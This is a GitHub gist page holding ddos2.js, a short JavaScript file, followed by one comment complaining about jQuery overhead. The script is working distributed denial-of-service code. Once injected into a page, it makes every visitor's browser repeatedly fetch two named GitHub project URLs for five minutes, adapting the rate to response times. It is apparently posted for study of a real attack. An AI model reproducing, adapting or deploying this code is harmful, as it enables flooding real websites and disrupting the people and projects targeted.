Skip to content

Instantly share code, notes, and snippets.

@zhufenggood
Created March 27, 2015 07:25
Show Gist options
  • Save zhufenggood/6a38c2a2b2185977b3cb to your computer and use it in GitHub Desktop.
Save zhufenggood/6a38c2a2b2185977b3cb to your computer and use it in GitHub Desktop.
ddos2.js
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;
function unixtime() {
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
NUM = url_array.length;
function r_send2() {
var a = unixtime() % NUM;
get(url_array[a])
}
function get(a) {
var b;
$.ajax({
url: a,
dataType: "script",
timeout: 1E4,
cache: !0,
beforeSend: function() {
requestTime = (new Date).getTime()
},
complete: function() {
responseTime = (new Date).getTime();
b = Math.floor(responseTime - requestTime);
3E5 > responseTime - startime && (r_send(b), count += 1)
}
})
}
function r_send(a) {
setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);
@canhnm
Copy link

canhnm commented Mar 28, 2015

lol too long proccess of loading additional the heavy lib jQuery instead of native Javascript

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment